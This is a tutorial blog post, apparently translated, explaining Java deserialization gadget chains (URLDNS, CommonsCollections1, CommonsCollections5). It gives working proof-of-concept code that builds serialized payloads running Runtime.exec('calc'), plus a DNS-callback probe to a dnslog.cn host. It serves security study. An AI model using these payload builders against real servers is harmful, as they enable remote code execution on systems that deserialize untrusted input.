Java deserialization call chain

Foreword:

        Although I understand the principle and use of deserialization, there are still problems in understanding many details of writing a call chain. The following is some understanding of the Java deserialization call chain and records it.

Base:

        Under what circumstances can deserialization be performed? What classes can be deserialized? Only classes that inherit java.io.Serializable can be deserialized. Why can't we directly deserialize and execute Runtime.getRuntime().exec? command, the test code is as follows:

    public static void myexec() throws Exception {
        try {
            String cmd2 = "calc";
            Process proc = Runtime.getRuntime().exec(cmd2);


            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);

            objOut.writeObject(proc);
            byte[] ceshi = buf.toByteArray();

            System.out.print(Base64.getDecoder().decode(ceshi));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

After running, you can see that the error message is that this class cannot be deserialized: 

Looking at the class, you can see that the java.io.Serializable class is not inherited.

Next we test urlDNS:

The test code is as follows. The code is actually very simple. It mainly uses HashMap.readObject() of HashMap to deserialize.

    public static void urldns() throws Exception {
        try {
            HashMap hashmap = new HashMap();
            URL url = new URL("http://4jaukp.dnslog.cn");
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); 
            f.set(url, 123); 
            System.out.println(url.hashCode());
            hashmap.put(url, 123);
            f.set(url, -1); 

            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);
            objOut.writeObject(hashmap);
            byte[] ceshi = buf.toByteArray();

            System.out.print(Base64.getEncoder().encodeToString(ceshi));
        } catch (Exception e) {
            e.printStackTrace();
        }

Because it inherits Serializable, HashMap can be deserialized

 

The content executed by deserialization is put, such as a url method in hashmap. To put it bluntly, a domain name is put as the KEY. The parameter is 123. The parameter value is arbitrary.

 Modify hashCode to -1 through reflection because if the value is not equal to -1 during serialization execution, our subsequent logic will not be executed, so reflection modification is required.

Finally, after deserializing the HashMap, it can be sent to the attacked server. Take a look at the execution logic of the attacked server. The following figure shows the server code:

When the deserialized data is sent to the server and executed objIn.readObject(); after serialization execution, it will check whether the readObject function is implemented in the deserialized class. If it is implemented, it will automatically enter this function for execution:

HashMap has its own implementation of the readObject method, which will perform serialization operations on the incoming serialized data.

private void readObject(java.io.ObjectInputStream s)

Serialization execution will instantiate the HashMap class and automatically execute its static methods:

Because we previously deserialized the key, which is the previous URL data, so the hashCode method will be called.

Finally, call the getProtocol method to implement dnslog to receive data.

So to summarize, if you want to serialize data, first the class must inherit Serializable, and then it depends on whether it implements readObject or can find a call chain through static methods to execute the code we want;

Some people here may have questions about URL also inheriting Serializable. Why is it necessary to deserialize the hashmap? We can take a look at url deserialization and deserialize the url directly:

Serialized data is sent to the server and can be executed to the following location

The main logic of the subsequent code is located at:

public URL(URL context, String spec, URLStreamHandler handler)

However, after reviewing the code, there is no code that calls getProtocol to parse the URL, so although the first point is met, there is no call chain that can be used.

CommonsCollections1:

Base:

Simply calling getProtocol can only detect whether the vulnerability exists. In fact, the most important thing for us is to call Runtime.getRuntime().exec to execute the command. Here we can analyze CommonsCollections1 and provide some ideas for executing the command. Let’s proceed step by step. analyze:

First we need to understand Transformer, ConstantTransformer, InvokerTransformer   

Transformer:

It belongs to an interface class of org.apache.commons.collections. The specific implementation depends on the inherited class:

ConstantTransformer:

ConstantTransformer is a subclass of Transformer:

ConstantTransformer(Object constantToReturn) Constructor 
Object transform(Object input) Member Method

Obtain an object type through the transform method of the ConstantTransformer class. For example, when the transform parameter is Runtime.class, call the transform method of the ConstantTransformer class and return the java.lang.Runtime class after execution.

InvokerTransformer:

InvokerTransformer also belongs to a subclass of Transformer. There are three parameters in its construction method. The first parameter is the name of the method to be executed. The second parameter is the parameter type of the parameter list of this function. The third parameter is the parameter passed to The parameter list of this function. It also includes the Transform method, which can execute arbitrary code through the Java reflection mechanism.

Based on the above basis, we can write an array of Transformer type. The code is as follows:

Transformer[] transformers = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
       new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
       new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Then we use ChainedTransformer. First of all, ChainedTransformer also belongs to the subclass of Transformer. The construction method is to put it into the Transformer array. Transform is the specific implementation method, which is to call the corresponding transform method according to the different types of iTransformers to complete the reflection execution. According to the input we The parameter calling class is ConstantTransformer->InvokerTransformer->InvokerTransformer->InvokerTransformer

The test calling code is as follows: 

public static void CommonsCollections1_1() throws Exception {
    try {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(String.class);
	}catch (Exception e) {
        e.printStackTrace();
    }
}

The calling process starts by entering the transform method of chainedTransformer:

 

 Dynamic calling, according to the array we passed in, the first thing to call is the transform method of ConstantTransformer, which mainly returns the java.lang.Runtime class we saved before:

Then call the transform method of InvokerTransformer, and finally call the exec function successfully after three reflections.

It can be seen from this that we need to find a place to call the transform method of chainedTransformer

MapEntry.setValue:

Here we first introduce the setValue method of a simple calling chain MapEntry:

When we call the setValue method of MapEntry, we will enter the following function:

If this.parent is of type TransformedMap, you can call the checkSetValue method of TransformedMap:

At this time, if we ensure that the content of this.valueTransformer is Transformer[], we can execute exec for our above reflection call in the array:

 So if you want to ensure that this.parent is of TransformedMap type, you need to use the decorate method of TransformedMap, and finally put it into the Map and just call the setValue method of MapEntry:

code show as below:

public static void CommonsCollections1_1() throws Exception {
    try {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("aa","ccc");

        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");

        //序列化操作,讲上述构造的handler恶意的对象,序列化保存
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(onlyElement);
        oos.close();

        System.out.println(barr);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

 However, such a direct deserialization operation will report an error. First of all, org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry does not inherit Serializable and there is no way to deserialize it. In addition, even if it can be deserialized, we cannot call the method. Serialization, so unless the server code performs a setValue operation, this cannot be attacked, so we need to make changes to the code. We now have bullets but still need a gun:

sun.reflect.annotation.AnnotationInvocationHandler:

Here we choose sun.reflect.annotation.AnnotationInvocationHandler:

First look at the poc:

public static void CommonsCollections1_3() throws Exception {
    try {
        Transformer[] transformers = new Transformer[]{
            //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
            //利用反射构造命令执行
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        //Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
        //反射获取AnnotationInvocationHandler,将内部的方法实例化他
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);

        System.out.print(handler.getClass());

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);

        ObjectOutputStream oos1 = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oos1.writeObject(handler);

        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();

    } catch (Exception e) {
        e.printStackTrace();
    }
}

First, we replaced TransformedMap.decorate with LazyMap.decorate. Why should we replace it with LazyMap? Because in our call chain, the LazyMap.get method will be called to trigger this.factory.transform and execute the transform method:

Secondly, an AnnotationInvocationHandler is constructed, with the parameters Retention.class and TransformedMap. First of all, the AnnotationInvocationHandler class inherits Serializable, but it is not a public class, so it can only be called through reflection. In addition, if the JDK version is higher than 9+, permission errors may occur. Change You can add parameters to 1.8 or JVM:

The specific constructor saves the type and parameters, that is, the two parameters MAP and transformerChain we passed in: 

Then we need to use a dynamic proxy, that is, Proxy.newProxyInstance. Why use a dynamic proxy? Because we want to finally execute the LazyMap.get method, we must be able to execute the AnnotationInvocationHandler.invoke method, because it contains code, that is, when this.memberValues ​​is When entering the LazyMap class, we go back and call the LazyMap.get method to achieve our purpose of executing the command:

Object var6 = this.memberValues.get(var4);

 Here is a brief introduction to Java's dynamic proxy:

public static Object newProxyInstance(ClassLoader loader,
                                      Class<?>[] interfaces,
                                      InvocationHandler h)

The three parameters are:

loader: which class loader is used to load the proxy object
interfaces: the interface that the dynamic proxy class needs to implement
h: when the dynamic proxy method is executed, the invoke method in h will be called to execute

In addition, it should be noted here that the final proxy must be an interface (Interfaces), not a class (Class), nor an abstract class, that is, the Map of Map proxyMap must be an interface.

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

The first parameter we need to get the class loader of the Map class:

Things to note when using the second parameter:

When the calling object implements the interface, use getInterfaces().

If the object is an interface and it does not implement the interface, use new Class[]{}

So here use new Class[] {Map.class}

The third parameter is that we want to execute the invoke method in the call. If we want to execute the AnnotationInvocationHandler.invoke method, then we put in the handler obtained by reflection;

Then the dynamic proxy needs to be instantiated by reflection here. Why is this step required? Because the code this.memberValues.entrySet() needs to be used in readObject. At this time, this.memberValues ​​is our proxy class. At this time, the execution of AnnotationInvocationHandler will be automatically triggered. .invoke():

Finally, the generated handler is serialized. When the content is sent to the server, exec will be executed and the calculator will pop up. The specific call chain executed on the server is listed below:

Gadget chain:
   ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
         Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
               LazyMap.get()
                  ChainedTransformer.transform()
                     ConstantTransformer.transform()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Class.getMethod()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.getRuntime()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.exec()

It is very simple and clear based on the call chain analysis, but you should pay attention to this. Because the reflected AnnotationInvocationHandler belongs to the basic class of Java, ccs1 has requirements for the jdk version. The 1.8 test failed, 1.7 is OK, and the others are not tested. Everyone should pay attention here:

First enter AnnotationInvocationHandler.readObject(), where Map(Proxy).entrySet will be entered to trigger entry into AnnotationInvocationHandler.invoke:

It should be noted here that the execution failure of version 1.8 is because the type is converted to LinkedHashMap in the AnnotationParser.parseAnnotation2 method, which leads to an error:

 In version 1.7, you can see that the conversion is not performed, so it can be successful:

Closer to home, after entering AnnotationInvocationHandler.invoke, this.memberValues ​​is LazyMap at this time, so LazyMap.get() will be executed. If it is jdk1.8, it will become LinkedHashMap.get(), so it will fail:

There is nothing to say when entering the LazyMap.get method. As mentioned above, it will enter the ChainedTransformer call chain we set and finally execute the exe.

 

CommonsCollections5:

CommonsCollections1 was introduced earlier. Its logic is a bit complicated and requires relatively high JDK version. Is there any simpler and more compatible version? The so-called simplicity is the most simple, the simpler it is, the more useful it is. Here is the introduction of CommonsCollections5. First, look at the POC code:

public static void CommonsCollections5_1() throws Exception {
    try {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(outerMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);

        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();

    } catch (Exception e) {
        e.printStackTrace();
    }
}

This is very simple. The main thing is to instantiate TiedMapEntry first, where the parameter is our LazyMap. The rest is not important.

 

Then reflect and modify the value of the parameter val of the BadAttributeValueExpException class to the TiedMapEntry in our previous step.

 

That’s it, let’s take a look at the call chain:

Gadget chain:
       ObjectInputStream.readObject()
           BadAttributeValueExpException.readObject()
               TiedMapEntry.toString()
                   LazyMap.get()
                       ChainedTransformer.transform()
                           ConstantTransformer.transform()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Class.getMethod()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.getRuntime()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.exec()

First enter the BadAttributeValueExpException.readObject method:

 Then enter the TiedMapEntry.toString method, and then call the get method of LazyMap:

It goes without saying here, it’s all introduced above. 

 

Summarize:

Here is a general introduction to how to write the Java deserialization call chain. By analyzing the call chains of ccs1 and ccs5, you can find that if you want to write the call chain yourself, you mainly need to find a springboard. There are bullets, but how to find a comparison It is difficult to use a useful springboard for final execution. First of all, there are many classes and methods in the entire jar package. How to find a suitable call chain from the middle is still difficult manually. We can only find it with the help of tools. This will be discussed later. explain. 

Guess you like

Origin blog.csdn.net/GalaxySpaceX/article/details/132906109